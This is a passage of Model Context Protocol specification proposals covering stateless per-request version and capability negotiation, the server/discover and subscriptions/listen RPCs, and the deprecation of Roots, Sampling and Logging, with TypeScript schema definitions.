defined mechanisms for clients and servers to exchange this information without
a mandatory state-creating cycle.
> **Note:** Session management (both transport-level and application-level) is
> addressed separately by [SEP-2322][SEP-2322] and [SEP-2567][SEP-2567]. This
> SEP focuses exclusively on removing the initialization handshake and providing
> stateless alternatives for version negotiation, discovery, and capabilities.
### Protocol Version
To make requests self-contained, metadata previously negotiated during the
handshake must now be included with **every request**.
#### HTTP
For the HTTP transport, protocol version MUST be passed as an **HTTP header**.
The header value MUST match the value provided in the request payload's `_meta`
field; otherwise the server MUST return a `400 Bad Request` (see
[SEP-2243][SEP-2243]).
* `MCP-Protocol-Version: 2025-06-18`
* **Purpose**: To inform the server which version of the MCP specification the
client is using for this specific request.
* **Requirement**: This header is **MANDATORY**. Servers should reject
requests with a missing or unsupported version.
* This header MUST match the value provided in the Request as specified below.
#### Per-request Version
The `protocol-version` MUST be embedded directly within the `_meta` field of the
request payload. For HTTP, this \_meta MUST match the associated HTTP header, or
else the server should return a 400 Bad Request.
The following diff illustrates the required changes to `RequestMetaObject`:
```ts theme={null}
export interface RequestMetaObject extends MetaObject {
progressToken?: ProgressToken;
+ /**
+ * The MCP Protocol Version being used for this request.
+ */
+ "io.modelcontextprotocol/protocolVersion": string;
// Additional per-request fields (clientInfo, clientCapabilities, logLevel)
// are introduced in the Per-Request Client Capabilities section below.
}
```
#### Unsupported Protocol Versions
If a server receives a request with a protocol version it does not implement
(whether the version is unknown to the server or is a known version the server
has chosen not to support, such as an experimental or draft version), it MUST
return a JSON-RPC error response. For HTTP, the response status code MUST be
`400 Bad Request`. The error MUST conform to the following structure:
```ts theme={null}
export const UNSUPPORTED_PROTOCOL_VERSION = -32022;
export interface UnsupportedProtocolVersionError extends Omit<
JSONRPCErrorResponse,
"error"
> {
error: Error & {
code: typeof UNSUPPORTED_PROTOCOL_VERSION;
data: {
/**
* An array of protocol version strings that the server supports.
*/
supported: string[];
/**
* The protocol version that was requested by the client.
*/
requested: string;
};
};
}
```
#### Version Negotiation Flow
Without an initialization handshake, version negotiation happens inline:
1. The client sends a request with its preferred protocol version in the
`MCP-Protocol-Version` header and `io.modelcontextprotocol/protocolVersion`
`_meta` field.
2. If the server supports that version, it processes the request normally.
3. If the server does not support the requested version, it returns an
`UnsupportedProtocolVersionError` containing its list of `supported`
versions.
4. The client selects a mutually supported version from the list and retries.
Alternatively, a client **MAY** call `server/discover` first to learn the
server's supported versions before sending any other requests.
### Discovery for Server Capabilities
To allow clients to adapt to different server implementations, this
specification introduces a **discovery RPC**. This provides a standard mechanism
for a server to advertise its supported protocol versions and capabilities.
Servers **MUST** implement `server/discover`. Clients **MAY** call it but are
not required to — a client is free to invoke any RPC without first calling the
discovery endpoint. If a client calls an unsupported RPC, the server **MUST**
return a `Method not found` JSON-RPC error (`-32601`). For HTTP, the response
status code MUST be `404 Not Found`.
#### `server/discover` RPC
* **Purpose**: To allow a client to query the server for its supported protocol
versions, capabilities, and other metadata.
**Request Schema:**
```ts theme={null}
export interface DiscoverRequest extends Request {
method: "server/discover";
params?: {};
}
```
**Response Schema:**
```ts theme={null}
export interface DiscoverResult extends Result {
/**
* A list of MCP Protocol Version strings that this server supports.
* The client should choose a version from this list for use in
* subsequent requests.
*/
supportedVersions: string[];
/**
* An object detailing the capabilities of the server.
*/
capabilities: ServerCapabilities;
/**
* Information about the server software implementation.
*/
serverInfo: Implementation;
/**
* Natural language instructions describing how to use the server and
* its features. This can be used by clients to improve an LLM's
* understanding of available tools (e.g., by including it in a system prompt).
*/
instructions?: string;
}
```
### Per-Request Client Capabilities
To complete the decoupling from the initial handshake, client capabilities are
no longer negotiated once at initialization. Instead, a client **MUST** specify
its capabilities on every request. This ensures the server is always fully
informed about what optional features the client can handle for that specific
transaction. An empty capabilities object means the client supports no optional
capabilities — servers **MUST NOT** infer capabilities from prior requests.
#### Per-Request Metadata Schema
Every request's `_meta` carries a small set of fields that previously lived in
the initialization handshake. The full `RequestMetaObject` shape:
```ts theme={null}
export interface RequestMetaObject extends MetaObject {
progressToken?: ProgressToken;
/**
* The MCP Protocol Version being used for this request.
*/
"io.modelcontextprotocol/protocolVersion": string;
/**
* Identifies the client software.
*/
"io.modelcontextprotocol/clientInfo": Implementation;
/**
* Capabilities of the client for this specific request.
*/
"io.modelcontextprotocol/clientCapabilities": ClientCapabilities;
/**
* The desired log level for this request.
*/
"io.modelcontextprotocol/logLevel"?: LoggingLevel;
}
```
Field semantics:
* `"io.modelcontextprotocol/protocolVersion"`: `string` — the MCP Protocol
Version. **Required.** See the Protocol Version section above for negotiation
details.
* `"io.modelcontextprotocol/clientInfo"`: `Implementation` — identifies the
client software. **Required.** The `Implementation` schema requires `name` and
`version`; other fields are optional.
* `"io.modelcontextprotocol/clientCapabilities"`: `ClientCapabilities` — the
client's capabilities for this request. **Required.**
* `"io.modelcontextprotocol/logLevel"`: `LoggingLevel` — the desired log level
for this request. **Optional.** If absent, the server **MUST NOT** send any
log notifications for this request. The client opts in to log messages by
explicitly setting a level. Replaces the `logging/setLevel` RPC.
Roots are intentionally not included as a per-request `_meta` field. Servers
that need the client's roots **MUST** request them via the MRTR
`ListRootsRequest` mechanism (see [SEP-2322][SEP-2322]), which avoids putting
potentially large root lists on every request and follows the "pay as you go"
principle.
A request missing any required field is malformed; the server **MUST** reject it
with `INVALID_PARAMS` (and `400 Bad Request` for HTTP).
#### Response Streaming
These declared capabilities govern what the server may include in the response
stream. [SEP-2322][SEP-2322] (MRTR) defines how server-to-client interactions
are embedded inline within responses via `IncompleteResult`; this SEP specifies
that those interactions are governed by the per-request `clientCapabilities`
declared in `RequestMetaObject`.
For HTTP, any request's response **MAY** be delivered as an SSE stream
(`Content-Type: text/event-stream`) instead of a single JSON object. Only
notifications (e.g., `notifications/progress`, `notifications/message`) flow as
independent messages on this stream, followed by the final result.
Server-to-client interactions (sampling, elicitation, listRoots) are **not**
sent as independent requests — they are embedded as input requests inside an
`IncompleteResult` returned from specific request paths (e.g., `CallTool`,
`GetPrompt`, `ListResources`). The client satisfies the input requests and
retries the original request.
#### Request Cancellation
How a client cancels an in-flight request depends on the transport:
* **HTTP.** Closing the SSE response stream **MUST** be treated by the server
as cancellation of that request. Because each request has its own response
stream, the transport-level disconnect is unambiguous.
* **STDIO.** The client **MUST** send a `notifications/cancelled`
notification referencing the request ID. STDIO has a single shared channel,
so there is no per-request stream to close.
Servers **SHOULD** stop work on a cancelled request as soon as practical and
**MUST NOT** send any further messages for it.
##### Resumable Streams Are Removed
Because connection drops now implicitly cancel a request, resumable SSE streams
(via `Last-Event-ID` reconnection) are removed. They contradict the
stateless-by-default paradigm: resuming would require the server to retain
per-request state across connection failures.
Workloads that need durability or resumability **MUST** use the tasks
primitive instead, which provides explicit mechanisms for fetching results
after a connection drop.
#### Missing Required Capabilities
A server **MUST NOT** rely on capabilities the client has not declared. If
processing a request requires a capability the client did not declare in its
`clientCapabilities`, the server **MUST** return a JSON-RPC error specifying
the missing capabilities. For HTTP, the response status code MUST be
`400 Bad Request`.
```ts theme={null}
export const MISSING_REQUIRED_CLIENT_CAPABILITY = -32021;
export interface MissingRequiredClientCapabilityError extends Omit<
JSONRPCErrorResponse,
"error"
> {
error: Error & {
code: typeof MISSING_REQUIRED_CLIENT_CAPABILITY;
data: {
/**
* The capabilities the server requires from the client
* to process this request.
*/
requiredCapabilities: ClientCapabilities;
};
};
}
```
### `subscriptions/listen` RPC
This SEP introduces a new `subscriptions/listen` RPC that replaces the previous
HTTP GET endpoint and ensures consistent behavior between HTTP and STDIO. A
client uses it to open a long-lived channel for receiving notifications outside
the context of a specific request.
The HTTP GET endpoint used by Streamable HTTP for server-to-client messages is
**removed** in this version of the protocol. All communication uses POST.
Per [SEP-2260][SEP-2260], only notifications (not requests) flow on this
channel; server-initiated requests use MRTR (see Response Streaming above) and
are scoped to a specific client request.
#### Request Schema
```ts theme={null}
export interface SubscriptionsListenRequest extends Request {
method: "subscriptions/listen";
params: {
_meta: {
"io.modelcontextprotocol/protocolVersion": string;
"io.modelcontextprotocol/clientInfo": Implementation;
"io.modelcontextprotocol/clientCapabilities": ClientCapabilities;
// ... other meta fields
};
/**
* The notifications the client wants to receive on this stream.
* Each notification type is opt-in; the server **MUST NOT** send
* notification types the client has not explicitly requested here.
*/
notifications: {
/**
* If true, receive notifications/tools/list_changed.
*/
toolsListChanged?: boolean;
/**
* If true, receive notifications/prompts/list_changed.
*/
promptsListChanged?: boolean;
/**
* If true, receive notifications/resources/list_changed.
*/
resourcesListChanged?: boolean;
/**
* Subscribe to notifications/resources/updated for specific
* resource URIs. Replaces the resources/subscribe RPC.
*/
resourceSubscriptions?: string[];
};
};
}
```
The `notifications` field is **required** and the client **MUST** explicitly
opt in to each notification type it wants to receive. If a field within
`notifications` is omitted (or set to `false`), the server **MUST NOT** send
notifications of that type.
#### Acknowledgment Notification
The server sends this notification first to acknowledge that the subscription
has been established. The subscription is long-lived and has no natural
"completion result"; it ends when:
* the client explicitly cancels it (closing the SSE stream on HTTP, or sending
`notifications/cancelled` on STDIO);
* the underlying connection is closed (HTTP timeout, TCP disconnect, STDIO
process exit); or
* the server tears it down (e.g., shutdown), in which case it **MUST** close
the SSE stream (HTTP) or send `notifications/cancelled` referencing the
subscription's request ID (STDIO).
```ts theme={null}
export interface SubscriptionsAcknowledgedNotification extends Notification {
method: "notifications/subscriptions/acknowledged";
params: {
/**
* The notification subscriptions the server has agreed to honor.
* Only includes notification types the server actually supports.
* If the client requested an unsupported notification type
* (e.g., promptsListChanged when the server has no prompts),
* it is omitted from this set.
*/
notifications: {
toolsListChanged?: boolean;
promptsListChanged?: boolean;
resourcesListChanged?: boolean;
resourceSubscriptions?: string[];
};
};
}
```
#### Multiple Concurrent Subscriptions
A client **MAY** have multiple active subscriptions concurrently (e.g., one
listening for tools-list changes, another for resource updates). Each
subscription is identified by the JSON-RPC request ID of its
`SubscriptionsListenRequest`.
To allow STDIO clients to demultiplex notifications belonging to different
subscriptions on the single shared channel, every notification delivered as
part of an active subscription **MUST** include the subscription's request ID
in `_meta`:
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/tools/list_changed",
"params": {
"_meta": {
"io.modelcontextprotocol/subscriptionId": ""
}
}
}
```
This same correlation pattern applies to other server-to-client notifications
that need to be associated with a specific request, such as
`notifications/progress` (which uses the originating request's ID).
#### Stopping a Subscription
* **HTTP.** Closing the SSE response stream stops the subscription.
* **STDIO.** The client sends `notifications/cancelled` referencing the listen
request's ID. The server **MUST** stop sending notifications for that
subscription.
#### Transport Behavior
**HTTP.** The client sends `SubscriptionsListenRequest` via `POST`. The server's
response is an open SSE stream (`Content-Type: text/event-stream`), and the
first JSON-RPC message on this stream **MUST** be a
`SubscriptionsAcknowledgedNotification`.
**STDIO.** The client sends `SubscriptionsListenRequest` at any time. The server
**MUST** acknowledge it by sending a `SubscriptionsAcknowledgedNotification`.
Subsequent notifications flow on the bidirectional STDIO channel, each tagged
with the subscription's request ID as described above. If the connection is
terminated (e.g., the server crashes and restarts), the client **MUST** re-send
`SubscriptionsListenRequest` to re-establish its subscriptions.
### Deprecated and Removed RPCs
To simplify the protocol and align with the move to per-request capabilities,
the following RPC methods and notifications are removed:
* `initialize` / `notifications/initialized`: The initialization handshake is
removed. Version negotiation is handled per-request via `MCP-Protocol-Version`
headers and `_meta` fields. Capability discovery is handled by
`server/discover`.
* `logging/setLevel`: Removed. The log level is now specified per-request via
the `'io.modelcontextprotocol/logLevel'` `_meta` field. There is no
replacement RPC.
* `roots/list`: Removed as a top-level server-to-client RPC. Servers that need
the client's roots **MUST** request them via the MRTR `ListRootsRequest`
mechanism (see SEP-2322).
* `notifications/roots/list_changed`: Removed. Roots are fetched on demand via
MRTR, so there is no need for a change notification.
* `resources/subscribe` / `resources/unsubscribe`: These methods are removed.
Resource subscriptions are inherently stateful — the server must remember
which resources each client has subscribed to. Instead, clients declare the
resources they want updates for in the `notifications` param of the
`subscriptions/listen` request. The server sends
`notifications/resources/updated` on the listen stream for matching resources.
* `ping`: Removed in **both directions**. Server-to-client ping is removed
because servers can no longer independently send requests. Client-to-server
ping is also removed because any normal RPC call already proves server
liveness, and transport-layer mechanisms (HTTP keep-alives, SSE comments,
STDIO process status) handle connection-health checks more appropriately.
## Rationale
### Stateless-First by Default
The primary design decision of this SEP is to remove the mandatory
initialization handshake, making stateless interaction the default model for the
protocol. This choice is rooted in the "pay as you go" principle and the desire
to align MCP with modern, cloud-native architecture. By making the simplest
interaction model the default, we lower the barrier to entry and reduce
implementation complexity for the most common use cases. This immediately
enables straightforward horizontal scaling and improves resilience, as any
request can be handled by any server instance.
#### Alternative Considered: Optional Handshake
An alternative we considered was to keep the existing stateful handshake but
make it optional. In this model, a client could choose to either perform the
handshake to establish a persistent session or skip it and send self-contained
requests.
#### Why it was rejected:
Supporting two parallel interaction models would have dramatically increased the
complexity of the protocol and every implementation. Servers and clients would
need to build, test, and maintain two separate logic paths, leading to a larger
surface area for bugs. It also violates the design principle of having one
clear, obvious way to perform a core function. By making a clean break, we
ensure the entire ecosystem can move forward and benefit from a simpler, more
scalable, and more robust foundation.
### Explicit Session Management
This proposal originally included dedicated `sessions/create` and
`sessions/delete` RPCs to manage the lifecycle of a logical session.
Session management is now addressed separately by [SEP-2567][SEP-2567], which
proposes removing sessions entirely and replacing them with explicit state
handles. This aligns with the [sessions-vs-sessionless
decision][sessions-decision] made by the Core Maintainers.
### Separation of Concerns
A core principle of this proposal is the "unbundling" of the monolithic
initialization handshake into a suite of discrete, single-purpose RPCs. The
original handshake mixed the concerns of protocol negotiation and capability
discovery into a single, complex interaction. The new design explicitly
separates these:
* **Discovery**: Handled exclusively by `server/discover`.
* **Capabilities**: Handled on a per-request basis via the `_meta` field or the
`subscriptions/listen` RPC.
The rationale for this is to create a more modular, flexible, and understandable
protocol. Each component now has a single, well-defined responsibility. This
allows clients to use only the parts of the protocol they need, adhering to our
"pay as you go" principle.
#### Alternative Considered: A Monolithic Handshake
We could have kept a single, monolithic handshake RPC and simply added more
parameters and complex logic to it to support the stateless-first model.
#### Why it was rejected:
A single, do-it-all RPC is difficult to implement, test, and evolve. It forces
all clients, even the simplest ones, to be aware of the protocol's most complex
features. By separating these concerns, we've made the protocol easier to learn
and implement correctly, while also making it more flexible and extensible for
the future.
## Backward Compatibility
While this proposal attempts to preserve existing functionality and use-cases,
this proposal introduces a **fundamental, backward-incompatible change**. Thus,
it will require a new version of the protocol.
### Supporting Multiple Versions
While this SEP removes the `initialize` handshake, a server that wishes to
support both old and new clients **MAY** do so. Such a server can continue to
implement the old `initialize` RPC to handle legacy clients, while also exposing
the new stateless RPCs (`server/discover`, etc.) for updated clients.
Both servers and clients should be able to handle changes in the versions
appropriately. Two example scenarios are outlined below, where vPrev indicates
the version prior to the SEP, and vAfter indicates a version after it.
#### Client (supporting vPrev) → Server (vPrev, vPost)
1. Client sends initialization
2. Server supports vPrev, so initialization is returned per spec
3. Client and server communicate per `vPrev`.
#### Client (supporting vPrev, vPost) → Server (vPrev)
For HTTP, the client may attempt any vPost request (e.g., `tools/list` with the
MCP Protocol Version header). The server returns `400 Bad Request` (or
`Unsupported protocol version`); the client falls back to vPrev (and performs
initialization) for future requests.
For STDIO, the client cannot rely on a per-request error to detect the server's
version. A client that supports both a vPost (which does not require
initialization) **and** a legacy version that does require `initialize`
**SHOULD** probe with `server/discover` first to determine which to use:
1. Client sends `server/discover` with the MCP Protocol Version `_meta` field
set to its preferred vPost.
2. If the server supports vPost (or any vPost-style version the client also
supports), the client uses the discovered version for subsequent requests.
3. If the server returns `Unsupported protocol version` or `Method not found`,
the client falls back to its supported legacy version and performs the
`initialize` handshake.
A client that supports only vPost-style versions has no need to probe — it
simply uses its preferred version and handles `Unsupported protocol version`
errors normally.
## Security Implications
Without a session handshake, every request must be independently authenticated
and authorized. Implementations **MUST** ensure that authentication is not
bypassed by the removal of the initialization phase.
Beyond per-request authentication, this proposal does not introduce additional
security concerns.
## Reference Implementation
// TODO
## FAQ
### What is protocol level statelessness?
[Wikipedia](https://en.wikipedia.org/wiki/Stateless_protocol) defines a
stateless protocol as:
> A stateless protocol is a communication protocol in which the receiver must
> not retain session state from previous requests. The sender transfers relevant
> session state to the receiver in such a way that every request can be
> understood in isolation, that is without reference to session state from
> previous requests retained by the receiver.
This does NOT mean that you can't build stateful applications on top of a
stateless protocol. HTTP is an example of a stateless protocol, which most of
the web is built on today. However it does mean that the state cannot exist *in
the protocol itself*, and should instead specify the state in the request (or
failing that, a reference to the state for the server or client to track).
### Does this make MCP a fully stateless protocol?
Not entirely (hence 'by default'). Depending on your interpretation of
"requests", the SSE streams mentioned (both client-initiated and
server-initiated) tend to have multiple requests within a context of a stream.
However, these streams are constrained to a single HTTP request and optional to
use, meaning that the complexity is both constrained and optional to use when
the situation requires it.
### Why is it important for STDIO to be stateless as well?
The transport MCP is using should be an implementation detail only. If one
version of a protocol supports functionality that doesn't cleanly map over to
another version of the protocol, they are really two different protocols.
This makes it easy for developers to switch their services from one transport to
another without needing to make significant changes to the behavior of their
applications, and easier to proxy between different transports correctly.
Otherwise, there will continue to be feature gaps and division between these
different implementations, leading to both confusion and incompatibility.
### How does `server/discover` relate to the MCP Server Card?
The `server/discover` RPC overlaps with the [MCP Server Card][SEP-2127]
proposal, which defines a `.well-known/mcp.json` document for HTTP-based
discovery. Both mechanisms are intentionally retained: the Server Card is
well-suited to HTTP (no auth required, cacheable, indexable) while
`server/discover` provides a unified RPC interface that works consistently
across HTTP and STDIO transports. The two should be aligned on content where
applicable.
## Open Questions
### What belongs in `_meta` vs. as a top-level protocol field?
This SEP places several previously-handshake-negotiated values
(`protocolVersion`, `clientInfo`, `roots`, `logLevel`, `clientCapabilities`)
into per-request `_meta` fields under the `io.modelcontextprotocol/` namespace.
This follows the spec's allowance for "purpose-specific metadata" reserved by
definitions in the schema.
However, this risks overloading `_meta` over time — at what point do we add
top-level fields again? One possible distinction: required protocol-level fields
(e.g., `protocolVersion`) might better live as top-level fields, while optional
or extension-provided values stay in `_meta`. This question deserves broader
discussion before this SEP is finalized.
### Should `clientInfo` be part of `ClientCapabilities`?
Currently, `clientInfo` (`Implementation` type) and `clientCapabilities`
(`ClientCapabilities` type) are separate fields. In a per-request model, having
a single field for all client metadata would reduce overhead. However,
`clientInfo` serves a different purpose (identity/UI) than capabilities (feature
negotiation). Should `clientInfo` be folded into `ClientCapabilities`, remain a
separate per-request `_meta` field, or be handled through a different mechanism
entirely (e.g., only sent via `subscriptions/listen`)?
## Changes since SEP became Final
This SEP is preserved as a historical record of what was accepted. The list
below tracks changes made to the specification after this SEP reached Final
status. Refer to the current
[specification](https://modelcontextprotocol.io/specification) for the
authoritative, up-to-date requirements.
* **Client identity became optional request metadata.**
[#3002](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/3002)
made `io.modelcontextprotocol/clientInfo` optional. Clients **SHOULD** include
it on every request unless specifically configured not to do so.
* **Server identity moved to optional result metadata.**
[#3002](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/3002)
introduced `io.modelcontextprotocol/serverInfo` in result `_meta` and removed
the top-level `DiscoverResult.serverInfo` field to avoid duplicate
representations. Servers **SHOULD** include this metadata on every result
unless specifically configured not to do so.
* **Subscriptions gained a graceful completion result.**
[#2953](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2953)
defined a `subscriptions/listen` result for server-initiated graceful
closure, replacing the SEP's statement that a subscription has no natural
completion result. Servers **SHOULD** send this result before closing the
stream.
[SEP-2127]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2127
[SEP-2243]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243
[SEP-2260]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2260
[SEP-2322]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322
[SEP-2567]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567
[sessions-decision]: https://github.com/modelcontextprotocol/transports-wg/blob/main/docs/sessions-vs-sessionless-decision.md
# SEP-2577: Deprecate Roots, Sampling, and Logging
Source: https://modelcontextprotocol.io/seps/2577-deprecate-roots-sampling-and-logging
Deprecate Roots, Sampling, and Logging
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2577 |
| **Title** | Deprecate Roots, Sampling, and Logging |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-04-14 |
| **Author(s)** | Kurtis Van Gent ([@kurtisvg](https://github.com/kurtisvg)) |
| **Sponsor** | [@kurtisvg](https://github.com/kurtisvg) |
| **PR** | [#2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) |
***
## Abstract
This SEP deprecates the following core protocol features:
* **Roots** (`roots/list`, `notifications/roots/list_changed`)
* **Sampling** (`sampling/createMessage`,
`ClientCapabilities.tasks.requests.sampling`)
* **Logging** (`logging/setLevel`, `notifications/message`)
These features are deprecated starting in the specification version that
includes this SEP (expected June 2026). They will continue to be fully
functional in all specification versions released within one year of that
version's release.
Each of those subsequent versions will in turn support the features for one year
after its own release, assuming the one-year-per-version support policy proposed
in a separate SEP. This provides implementations with an extended migration
window before the features are fully removed.
During the deprecation period, wire-level behavior is unchanged. No types are
removed, no capability negotiation changes, and no existing implementations
break. The deprecation serves as a signal to the ecosystem to stop building on
these features and to plan for their eventual removal.
## Motivation
The MCP specification aims to remain minimal and focused. Features that see low
adoption, overlap with existing alternatives, or impose disproportionate
implementation burden relative to their value are candidates for removal.
Keeping such features in the core specification increases the burden for every
client and server, slows protocol evolution, and makes the specification harder
to learn. The following three features meet these criteria.
Deprecating these features was proposed during a recent core contributor
meeting. This SEP formalizes that proposal with a concrete implementation plan.
See [discussion #2536][discussion-2536].
### Roots
Roots provides "informational guidance" about which directories or files a
server should operate on. In practice:
* **Low adoption**: Few clients implement roots support, and few servers rely on
it. The [feature support matrix][feature-matrix] shows limited client
coverage.
* **Vague semantics**: The specification describes roots as informational —
servers are not required to respect them, which reduces their utility.
* **Overlapping alternatives**: Working directory context can be provided
through tool parameters, resource URIs, server configuration, or environment
variables — all of which are more explicit.
### Sampling
Sampling allows servers to request LLM completions from the client. While
conceptually powerful, it has struggled with adoption:
* **Complex to implement**: Correct sampling implementation requires
human-in-the-loop approval, model selection logic, security considerations,
and (since SEP-1577) tool loop support. This complexity has contributed to low
client adoption.
* **Low adoption**: The [feature support matrix][feature-matrix] shows that few
clients support sampling, despite the feature being available since the
November 2024 specification.
* **Direct alternatives**: Servers that need LLM capabilities can integrate
directly with LLM provider APIs, giving them full control over model
selection, parameters, and streaming.
### Logging
Logging allows servers to send structured log messages to clients via the
protocol:
* **Overlapping infrastructure**: Standard logging mechanisms (stderr for stdio
transports, OpenTelemetry for structured observability) are mature, widely
adopted, and better suited to logging than an application-protocol channel.
* **Low value relative to complexity**: Adding log message types, severity
levels, and the `logging/setLevel` request to the core specification increases
the implementation surface for all clients and servers.
[discussion-2536]: https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2536
[feature-matrix]: https://modelcontextprotocol.io/clients#feature-support-matrix
## Specification
### Overview of changes
1. Mark deprecated features with `@deprecated` annotations in the schema
2. Add deprecation notices to feature documentation pages
3. No wire-level protocol changes during the deprecation period
### Schema changes
Add `@deprecated` JSDoc annotations to the following items in
`schema/draft/schema.ts`. No types, interfaces, or union members are removed.
#### Deprecated capabilities
| Capability | Location |
| -------------------------------------------- | -------------------------------------- |
| `ClientCapabilities.roots` | Client capability for listing roots |
| `ClientCapabilities.sampling` | Client capability for LLM sampling |
| `ClientCapabilities.tasks.requests.sampling` | Task-augmented sampling sub-capability |
| `ServerCapabilities.logging` | Server capability for log messages |
#### Deprecated types — Roots
| Type | Description |
| ------------------------------ | ----------------------------------------- |
| `Root` | Represents a root directory or file |
| `ListRootsRequest` | Server-to-client request for `roots/list` |
| `ListRootsResult` | Result containing roots array |
| `ListRootsResultResponse` | JSON-RPC response wrapper |
| `RootsListChangedNotification` | Client notification when roots change |
#### Deprecated types — Sampling
| Type | Description |
| ----------------------------- | ---------------------------------------------- |
| `CreateMessageRequestParams` | Parameters for `sampling/createMessage` |
| `CreateMessageRequest` | Server-to-client request for sampling |
| `CreateMessageResult` | Result from a sampling request |
| `CreateMessageResultResponse` | JSON-RPC response wrapper |
| `SamplingMessage` | A message in a sampling conversation |
| `SamplingMessageContentBlock` | Content block union for sampling messages |
| `ToolChoice` | Controls model tool selection during sampling |
| `ToolUseContent` | Tool use content block in sampling messages |
| `ToolResultContent` | Tool result content block in sampling messages |
| `ModelPreferences` | Server preferences for model selection |
| `ModelHint` | Hints for model selection |
#### Deprecated types — Logging
| Type | Description |
| ---------------------------------- | --------------------------------------- |
| `LoggingLevel` | Syslog severity level enum |
| `SetLevelRequestParams` | Parameters for `logging/setLevel` |
| `SetLevelRequest` | Client-to-server request to set level |
| `SetLevelResultResponse` | JSON-RPC response wrapper |
| `LoggingMessageNotificationParams` | Parameters for log message notification |
| `LoggingMessageNotification` | Server-to-client log message |
#### Annotation format
Each deprecated item SHOULD receive a JSDoc `@deprecated` tag with a brief
explanation:
```typescript theme={null}
/**
* Present if the client supports listing roots.
*
* @deprecated Deprecated as of this specification version. Will be included
* in all versions released within one year, then may be removed.
*/
roots?: {
listChanged?: boolean;
};
```
#### Union types
The following union types reference deprecated types but MUST NOT be modified
during the deprecation period. They will be updated when the deprecated types
are removed:
* `ClientNotification` (includes `RootsListChangedNotification`)
* `ClientResult` (includes `CreateMessageResult`, `ListRootsResult`)
* `ServerRequest` (includes `CreateMessageRequest`, `ListRootsRequest`)
* `ServerNotification` (includes `LoggingMessageNotification`)
### Documentation changes
Add a deprecation warning block at the top of each feature's documentation page,
after the title:
**`docs/specification/draft/client/roots.mdx`:**
```mdx theme={null}
**Deprecated**: The Roots feature is deprecated as of this specification
version. It will remain fully functional in all specification versions released
within one year of the release. Each of those versions will
continue to support it for one year after its own release.
```
**`docs/specification/draft/client/sampling.mdx`:**
```mdx theme={null}
**Deprecated**: The Sampling feature is deprecated as of this specification
version. It will remain fully functional in all specification versions released
within one year of the release. Each of those versions will
continue to support it for one year after its own release.
```
**`docs/specification/draft/server/utilities/logging.mdx`:**
```mdx theme={null}
**Deprecated**: The Logging feature is deprecated as of this specification
version. It will remain fully functional in all specification versions released
within one year of the release. Each of those versions will
continue to support it for one year after its own release.
```
### Capability negotiation
During the deprecation period, capability negotiation is **unchanged**:
* Clients and servers that support deprecated features SHOULD continue to
declare the corresponding capabilities.
* Implementations that encounter deprecated capabilities MUST still handle them
correctly.
* Implementations SHOULD emit a warning (e.g., in logs or developer tooling)
when deprecated capabilities are negotiated.
* New implementations SHOULD NOT add support for deprecated features unless
needed for backward compatibility with existing counterparts.
### Timeline
* **Deprecated**: In the next specification release (currently planned for June
2026\).
* **Included in subsequent releases**: All specification versions released
within one year of this version's release MUST continue to include these
features as deprecated.
* **Per-version support**: Each version that includes these features will
support them for one year after that version's release, per the
one-year-per-version support policy proposed in a separate SEP.
* **Removal**: Specification versions released more than one year after this
version's release MAY remove these features entirely.
## Rationale
### Why deprecate rather than move to extensions?
These features are already implemented in many clients and servers. The
extensions mechanism (SEP-2133) specifies that unless an extension is provided,
implementations must behave as if the extension is not present. Retrofitting
this logic into existing SDKs — especially across multiple protocol versions —
would be complex and error-prone. Deprecation followed by removal is less
disruptive: implementations can continue using the features as-is during the
transition period, then simply stop when the features are removed.
### Why deprecate rather than remove immediately?
While adoption of these features is low, they are still in use. Removing them
immediately would cause unnecessary churn and disruption for users, client and
server owners, and SDK builders. A deprecation window minimizes this impact by
giving the ecosystem time to migrate at its own pace.
### Why these three features specifically?
These were identified during a core contributor meeting as the features with the
weakest adoption-to-complexity ratio. Each has viable alternatives outside the
protocol, and none are critical to the core resource/tool/prompt interaction
model that defines MCP. See [discussion #2536][discussion-2536].
## Backward Compatibility
During the deprecation period, there are **no backward compatibility issues**.
All deprecated features continue to work identically. No wire-level changes are
introduced.
After removal (in specification versions released more than one year after this
version):
* Implementations negotiating an older protocol version that includes these
features will still have access to them through that version's schema.
* Implementations negotiating a version that has removed these features will no
longer have access to them.
## Security Implications
Deprecating these features has a **net positive** effect on security:
* **Sampling** is the most security-sensitive of the three. It allows servers to
request LLM completions through the client, which creates attack surface for
prompt injection and data exfiltration. Removing it reduces this risk.
* **Roots** exposes information about the client's filesystem to servers.
Removing it reduces the risk of servers using root information to attempt
directory traversal or access files outside intended boundaries.
* **Logging** has minimal security implications, but removing it simplifies the
protocol surface area.
No new security concerns are introduced by deprecation.
## Reference Implementation
No reference implementation is required. This SEP only marks existing
functionality as deprecated — no new protocol behavior is introduced.
# SEP-2596: Specification Feature Lifecycle and Deprecation Policy
Source: https://modelcontextprotocol.io/seps/2596-spec-feature-lifecycle-and-deprecation
Specification Feature Lifecycle and Deprecation Policy
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2596 |
| **Title** | Specification Feature Lifecycle and Deprecation Policy |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2026-04-17 |
| **Author(s)** | Den Delimarsky ([@localden](https://github.com/localden)) |
| **Sponsor** | [@localden](https://github.com/localden) |
| **PR** | [#2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596) |
***
## Abstract
This SEP defines a lifecycle for individual features within the Model Context Protocol
specification, separate from the revision lifecycle of the specification document itself. It
